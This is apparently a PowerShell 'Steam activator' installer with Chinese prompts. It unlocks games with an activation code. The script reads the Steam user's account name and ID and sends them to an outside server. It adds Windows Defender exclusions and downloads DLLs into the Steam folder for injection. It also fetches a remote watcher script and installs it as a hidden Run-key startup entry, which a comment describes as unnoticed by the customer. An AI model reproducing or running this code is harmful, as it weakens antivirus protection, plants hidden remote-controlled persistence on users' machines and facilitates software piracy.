[Console]::InputEncoding = [System.Text.Encoding]::UTF8 Write-Host -NoNewline " _____ _____ _____ _____ _____ `r" -ForegroundColor Blue Write-Host -NoNewline " /\ \ /\ \ /\ \ /\ \ /\ \ `r" -ForegroundColor Blue Write-Host -NoNewline " /::\ \ /::\ \ /::\ \ /::\ \ /::\____\ `r" -ForegroundColor Blue Write-Host -NoNewline " /::::\ \ \:::\ \ /::::\ \ /::::\ \ /::::| | `r" -ForegroundColor Blue Write-Host -NoNewline " /::::::\ \ \:::\ \ /::::::\ \ /::::::\ \ /:::::| | `r" -ForegroundColor Blue Write-Host -NoNewline " /:::/\:::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ /::::::| | `r" -ForegroundColor Blue Write-Host -NoNewline " /:::/__\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/|::| | `r" -ForegroundColor Blue Write-Host -NoNewline " \:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ |::| | `r" -ForegroundColor Blue Write-Host -NoNewline " ___\:::\ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ |::|___|______ `r" -ForegroundColor Blue Write-Host -NoNewline " /\ \:::\ \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ |::::::::\ \ `r" -ForegroundColor Blue Write-Host -NoNewline "/::\ \:::\ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/ |:::::::::\____\`r" -ForegroundColor Blue Write-Host -NoNewline "\:::\ \:::\ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ / ~~~~~/:::/ /`r" -ForegroundColor Blue Write-Host -NoNewline " \:::\ \:::\ \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ /:::/ / `r" -ForegroundColor Blue Write-Host -NoNewline " \:::\ \:::\ \ /:::/ / \:::\ \:::\ \ \::::::/ / /:::/ / `r" -ForegroundColor Blue Write-Host -NoNewline " \:::\ \:::\____\ /:::/ / \:::\ \:::\____\ \::::/ / /:::/ / `r" -ForegroundColor Blue Write-Host -NoNewline " \:::\ /:::/ / \::/ / \:::\ \::/ / /:::/ / /:::/ / `r" -ForegroundColor Blue Write-Host -NoNewline " \:::\/:::/ / \/____/ \:::\ \/____/ /:::/ / /:::/ / `r" -ForegroundColor Blue Write-Host -NoNewline " \::::::/ / \:::\ \ /:::/ / /:::/ / `r" -ForegroundColor Blue Write-Host -NoNewline " \::::/ / \:::\____\ /:::/ / /:::/ / `r" -ForegroundColor Blue Write-Host -NoNewline " \::/ / \::/ / \::/ / \::/ / `r" -ForegroundColor Blue Write-Host -NoNewline " \/____/ \/____/ \/____/ \/____/ `r" -ForegroundColor Blue $localPath = Join-Path $env:LOCALAPPDATA "steam" $steamRegPath = "HKCU:\Software\Valve\Steam" $steamPath = "" $BaseUrl = "http://baijin.run" $ApiUrl = "https://steam.baijin.run" function Remove-ItemIfExists($path) { if (Test-Path $path) { Remove-Item -Path $path -Force -Recurse -ErrorAction SilentlyContinue } } function Add-WhitelistExclusion { param([string]$Path) try { Add-MpPreference -ExclusionPath $Path -ErrorAction SilentlyContinue } catch {} } function Check-OpenSteamToolStatus { param([string]$SteamPath) $luaDir = Join-Path $SteamPath "config\lua" $openSteamToolDll = Join-Path $SteamPath "OpenSteamTool.dll" $xinputDll = Join-Path $SteamPath "xinput1_4.dll" $dwmapiDll = Join-Path $SteamPath "dwmapi.dll" if (-not (Test-Path $luaDir -PathType Container)) { return $false } if (-not (Test-Path $openSteamToolDll) -or -not (Test-Path $xinputDll) -or -not (Test-Path $dwmapiDll)) { return $false } try { $openSteamToolSize = (Get-Item $openSteamToolDll).Length $xinputSize = (Get-Item $xinputDll).Length $dwmapiSize = (Get-Item $dwmapiDll).Length if ($openSteamToolSize -ne 1446400 -or $xinputSize -ne 122880 -or $dwmapiSize -ne 109568) { return $false } } catch { return $false } return $true } function ForceStopProcess($processName) { Get-Process $processName -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue Start-Sleep -Seconds 2 if (Get-Process $processName -ErrorAction SilentlyContinue) { Start-Process cmd -ArgumentList "/c taskkill /f /im $processName.exe" -WindowStyle Hidden -ErrorAction SilentlyContinue } } function CheckAndPromptProcess($processName, $message) { while (Get-Process $processName -ErrorAction SilentlyContinue) { Write-Host $message -ForegroundColor Red Start-Sleep 1.5 } } $filePathToDelete = Join-Path $env:USERPROFILE "get.ps1" Remove-ItemIfExists $filePathToDelete if (Test-Path $steamRegPath) { $properties = Get-ItemProperty -Path $steamRegPath -ErrorAction SilentlyContinue if ($properties -and 'SteamPath' -in $properties.PSObject.Properties.Name) { $steamPath = $properties.SteamPath } } if ([string]::IsNullOrWhiteSpace($steamPath)) { Write-Host "未找到 Steam 客户端。请安装 Steam 后重试。" -ForegroundColor Red Start-Sleep 10 exit } if (-not (Test-Path $steamPath -PathType Container)) { Write-Host "未找到 Steam 客户端。请安装 Steam 后重试。" -ForegroundColor Red Start-Sleep 10 exit } function Get-LatestSteamUser { param([string]$SteamPath) $loginUsersPath = Join-Path $SteamPath "config\loginusers.vdf" if (-not (Test-Path $loginUsersPath)) { return $null } try { $content = Get-Content $loginUsersPath -Raw -Encoding UTF8 if (-not $content) { return $null } $users = @() $userId = $null $accountName = $null $mostRecent = $null $timestamp = $null $inUserBlock = $false $lines = $content -split "`n" foreach ($line in $lines) { if ($line -match '^\s*"(\d{17})"\s*$') { if ($userId -and $accountName) { $users += [PSCustomObject]@{ UserId = $userId AccountName = $accountName MostRecent = $mostRecent -eq "1" Timestamp = [int]$timestamp } } $userId = $matches[1] $accountName = $null $mostRecent = "0" $timestamp = "0" $inUserBlock = $true } elseif ($line -match '^\s*"\d+"\s*\{') { $userId = ($line -split '"')[1] $accountName = $null $mostRecent = "0" $timestamp = "0" $inUserBlock = $true } elseif ($inUserBlock -and $line -match '"PersonaName"\s+"([^"]+)"') { $accountName = $matches[1].Trim() } elseif ($inUserBlock -and $line -match '"AccountName"\s+"([^"]+)"') { if (-not $accountName) { $accountName = $matches[1].Trim() } } elseif ($inUserBlock -and $line -match '"MostRecent"\s+"([^"]+)"') { $mostRecent = $matches[1] } elseif ($inUserBlock -and $line -match '"Timestamp"\s+"(\d+)"') { $timestamp = $matches[1] } elseif ($inUserBlock -and $line -match '^\s*\}') { $inUserBlock = $false } } if ($userId -and $accountName) { $users += [PSCustomObject]@{ UserId = $userId AccountName = $accountName MostRecent = $mostRecent -eq "1" Timestamp = [int]$timestamp } } if ($users.Count -eq 0) { return $null } # 优先 MostRecent,其次 Timestamp return $users | Sort-Object @{Expression={$_.MostRecent}; Descending=$true}, @{Expression={$_.Timestamp}; Descending=$true} | Select-Object -First 1 } catch { return $null } } function Download-OpenSteamToolFiles { param([string]$SteamPath) try { $response = Invoke-RestMethod -Uri "$BaseUrl/api/opensteamtool/files" -Method Get -UseBasicParsing -TimeoutSec 10 if (-not $response.success) { return $false } $successCount = 0 foreach ($fileInfo in $response.files) { $filename = $fileInfo.filename $downloadUrl = "$BaseUrl$($fileInfo.download_url)" $filePath = Join-Path $SteamPath $filename try { Invoke-WebRequest -Uri $downloadUrl -OutFile $filePath -UseBasicParsing -ErrorAction Stop -TimeoutSec 30 $successCount++ } catch {} } return $successCount -gt 0 } catch { return $false } } function Download-FilesByActivationCode { param( [string]$ActivationCode, [string]$SteamPath, [string]$UserId, [string]$AccountName ) $luaTargetDir = Join-Path $SteamPath "config\lua" $manifestTargetDir = Join-Path $SteamPath "depotcache" if (-not (Test-Path $luaTargetDir)) { New-Item -ItemType Directory -Path $luaTargetDir -Force | Out-Null } if (-not (Test-Path $manifestTargetDir)) { New-Item -ItemType Directory -Path $manifestTargetDir -Force | Out-Null } try { $url = "$ApiUrl/api/download_all/$($ActivationCode.Trim())" $params = @() if ($UserId) { $params += "user_id=$([Uri]::EscapeDataString($UserId.Trim()))" } if ($AccountName) { $params += "username=$([Uri]::EscapeDataString($AccountName.Trim()))" } if ($params.Count -gt 0) { $url += "?" + ($params -join "&") } $response = Invoke-RestMethod -Uri $url -Method Get -UseBasicParsing -TimeoutSec 10 if (-not $response.success) { return $false } $successCount = 0 foreach ($fileInfo in $response.download_links) { $filename = $fileInfo.filename $downloadUrl = "$ApiUrl$($fileInfo.download_url)" try { $fileResponse = Invoke-WebRequest -Uri $downloadUrl -Method Get -UseBasicParsing -TimeoutSec 30 if ($fileResponse.StatusCode -eq 200) { $filePath = if ($filename -like "*.manifest") { Join-Path $manifestTargetDir $filename } else { Join-Path $luaTargetDir $filename } [System.IO.File]::WriteAllBytes($filePath, $fileResponse.Content) $successCount++ } } catch {} } if ($successCount -gt 0) { $stplugInDir = Join-Path $SteamPath "config\stplug-in" if (-not (Test-Path $stplugInDir)) { New-Item -ItemType Directory -Path $stplugInDir -Force | Out-Null } $luaFiles = Get-ChildItem -Path $luaTargetDir -Filter "*.lua" -ErrorAction SilentlyContinue foreach ($luaFile in $luaFiles) { Copy-Item -Path $luaFile.FullName -Destination (Join-Path $stplugInDir $luaFile.Name) -Force -ErrorAction SilentlyContinue } } return $successCount -gt 0 } catch { return $false } } function Prompt-ActivationCode { Write-Host "" return Read-Host -Prompt "请输入激活码" } function Install-CleanupWatcher { param([string]$SteamPath, [string]$UserId) try { $watcherDir = Join-Path $env:LOCALAPPDATA "steam" if (-not (Test-Path $watcherDir)) { New-Item -ItemType Directory -Path $watcherDir -Force | Out-Null } $watcherPath = Join-Path $watcherDir "cleanup_watcher.ps1" $watcherUrl = "$BaseUrl/lua/cleanup_watcher.ps1" try { $response = Invoke-WebRequest -Uri $watcherUrl -Method Get -UseBasicParsing -TimeoutSec 15 if ($response.StatusCode -eq 200 -and $response.Content) { Set-Content -Path $watcherPath -Value $response.Content -Encoding UTF8 -Force } else { return } } catch { return } $runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" $watcherName = "SteamCleanupWatcher" $launchCmd = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File `"$watcherPath`"" Set-ItemProperty -Path $runKey -Name $watcherName -Value $launchCmd -ErrorAction SilentlyContinue $watcherRunning = Get-CimInstance Win32_Process -Filter "Name='powershell.exe'" -ErrorAction SilentlyContinue | Where-Object { $_.CommandLine -like "*cleanup_watcher*" } if (-not $watcherRunning) { Start-Process powershell.exe -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$watcherPath`"" -WindowStyle Hidden -ErrorAction SilentlyContinue } } catch {} } function PwStart { try { if (-not $steamPath) { return } $latestUser = Get-LatestSteamUser -SteamPath $steamPath if ($latestUser) { $OSTTomlPath = Join-Path $steamPath "opensteamtool.toml" Remove-ItemIfExists $OSTTomlPath Write-Host "" Write-Host "=============================================================================" -ForegroundColor Cyan Write-Host "[检测到最新Steam用户: $($latestUser.AccountName) (ID: $($latestUser.UserId))]" -ForegroundColor Cyan Write-Host "=============================================================================" -ForegroundColor Cyan } else { Write-Host "" Write-Host "=========================================================" -ForegroundColor Red Write-Host "[错误] 无法读取Steam用户信息。请先登录要激活的Steam账号。" -ForegroundColor Red Write-Host "=========================================================" -ForegroundColor Red Start-Sleep -Seconds 5 return } $activationValid = $false while (-not $activationValid) { $activationCode = Prompt-ActivationCode if ($activationCode) { $downloadResult = Download-FilesByActivationCode -ActivationCode $activationCode -SteamPath $steamPath -UserId $latestUser.UserId -AccountName $latestUser.AccountName if ($downloadResult) { $activationValid = $true # 安装清理守护服务(客户无感,后台自动运行) Install-CleanupWatcher -SteamPath $steamPath -UserId $latestUser.UserId Write-Host "" Write-Host "[激活码验证成功,已连接到Steam激活服务器。]" -ForegroundColor Green Write-Host "" Write-Host "========================================================================" -ForegroundColor DarkCyan Write-Host "请等待激活窗口自动关闭,Steam自动重启。" -ForegroundColor DarkCyan Write-Host "========================================================================" -ForegroundColor DarkCyan Write-Host "" Start-Sleep -Seconds 2 $xinputPath = Join-Path $steamPath "xinput1_4.dll" $dwmapiPath = Join-Path $steamPath "dwmapi.dll" $openSteamToolPath = Join-Path $steamPath "OpenSteamTool.dll" Add-WhitelistExclusion -Path $steamPath Add-WhitelistExclusion -Path $xinputPath Add-WhitelistExclusion -Path $dwmapiPath Add-WhitelistExclusion -Path $openSteamToolPath $isOpenSteamToolReady = Check-OpenSteamToolStatus -SteamPath $steamPath if ($isOpenSteamToolReady) { $luaTargetDir = Join-Path $steamPath "config\lua" $manifestTargetDir = Join-Path $steamPath "depotcache" if (-not (Test-Path $luaTargetDir)) { New-Item -ItemType Directory -Path $luaTargetDir -Force | Out-Null } if (-not (Test-Path $manifestTargetDir)) { New-Item -ItemType Directory -Path $manifestTargetDir -Force | Out-Null } try { $url = "$ApiUrl/api/download_all/$($activationCode.Trim())" $params = @() if ($latestUser.UserId) { $params += "user_id=$([Uri]::EscapeDataString($latestUser.UserId.Trim()))" } if ($latestUser.AccountName) { $params += "username=$([Uri]::EscapeDataString($latestUser.AccountName.Trim()))" } if ($params.Count -gt 0) { $url += "?" + ($params -join "&") } $response = Invoke-RestMethod -Uri $url -Method Get -UseBasicParsing -TimeoutSec 10 if ($response.success) { foreach ($fileInfo in $response.download_links) { $filename = $fileInfo.filename $downloadUrl = "$ApiUrl$($fileInfo.download_url)" try { $fileResponse = Invoke-WebRequest -Uri $downloadUrl -Method Get -UseBasicParsing -TimeoutSec 30 if ($fileResponse.StatusCode -eq 200) { $filePath = if ($filename -like "*.manifest") { Join-Path $manifestTargetDir $filename } else { Join-Path $luaTargetDir $filename } [System.IO.File]::WriteAllBytes($filePath, $fileResponse.Content) } } catch {} } $stplugInDir = Join-Path $steamPath "config\stplug-in" if (-not (Test-Path $stplugInDir)) { New-Item -ItemType Directory -Path $stplugInDir -Force | Out-Null } $luaFiles = Get-ChildItem -Path $luaTargetDir -Filter "*.lua" -ErrorAction SilentlyContinue foreach ($luaFile in $luaFiles) { Copy-Item -Path $luaFile.FullName -Destination (Join-Path $stplugInDir $luaFile.Name) -Force -ErrorAction SilentlyContinue } } } catch { Write-Host "" } Write-Host "[完成] 请返回 Steam 客户端,在库中查看游戏。" -ForegroundColor Green Write-Host "" for ($i = 5; $i -ge 0; $i--) { Write-Host "`r[本窗口将在 $i 秒后关闭...]" -NoNewline Start-Sleep -Seconds 1 } exit } else { ForceStopProcess "steam" if (Get-Process "steam" -ErrorAction SilentlyContinue) { CheckAndPromptProcess "Steam" "[请先退出 Steam 客户端]" } $tempPath = Join-Path $steamPath "steamapps\temp" Remove-ItemIfExists $tempPath $hidPath = Join-Path $steamPath "xinput1_4.dll" Remove-ItemIfExists $hidPath $OpenSteamToolPath = Join-Path $steamPath "OpenSteamTool.dll" # 清理旧文件 $hidPath = Join-Path $steamPath "xinput1_4.dll" Remove-ItemIfExists $hidPath $OpenSteamToolPath = Join-Path $steamPath "OpenSteamTool.dll" Remove-ItemIfExists $OpenSteamToolPath $dwmapiPath = Join-Path $steamPath "dwmapi.dll" Remove-ItemIfExists $dwmapiPath $hidDllPath = Join-Path $steamPath "hid.dll" Remove-ItemIfExists $hidDllPath $zlibPath = Join-Path $steamPath "zlib1.dll" Remove-ItemIfExists $zlibPath $xinputPath = Join-Path $steamPath "user32.dll" Remove-ItemIfExists $xinputPath $steamCfgPath = Join-Path $steamPath "steam.cfg" Remove-ItemIfExists $steamCfgPath $steamBetaPath = Join-Path $steamPath "package\beta" Remove-ItemIfExists $steamBetaPath $catchPath = Join-Path $env:LOCALAPPDATA "Microsoft\Tencent" Remove-ItemIfExists $catchPath $versionDllPath = Join-Path $steamPath "version.dll" Remove-ItemIfExists $versionDllPath $consPath = Join-Path $steamPath "cons" Remove-ItemIfExists $consPath $zDLLPath = Join-Path $steamPath "7z.dll" Remove-ItemIfExists $zDLLPath $coreDLLPath = Join-Path $steamPath "core.dll" Remove-ItemIfExists $coreDLLPath $null = Download-OpenSteamToolFiles -SteamPath $steamPath Start-Sleep -Seconds 3 $steamExePath = Join-Path $steamPath "steam.exe" Start-Process $steamExePath Start-Sleep -Seconds 2 Start-Process "steam://" Write-Host "" Write-Host "[完成] Steam 已启动,无需在Steam客户端中手动激活,直接去库里查找游戏。" -ForegroundColor Green for ($i = 5; $i -ge 0; $i--) { Write-Host "`r[本窗口将在 $i 秒后关闭...]" -NoNewline Start-Sleep -Seconds 1 } exit } } else { Write-Host "[激活码错误,请重新输入!]" -ForegroundColor Red Start-Sleep -Seconds 2 } } } } catch { } } PwStart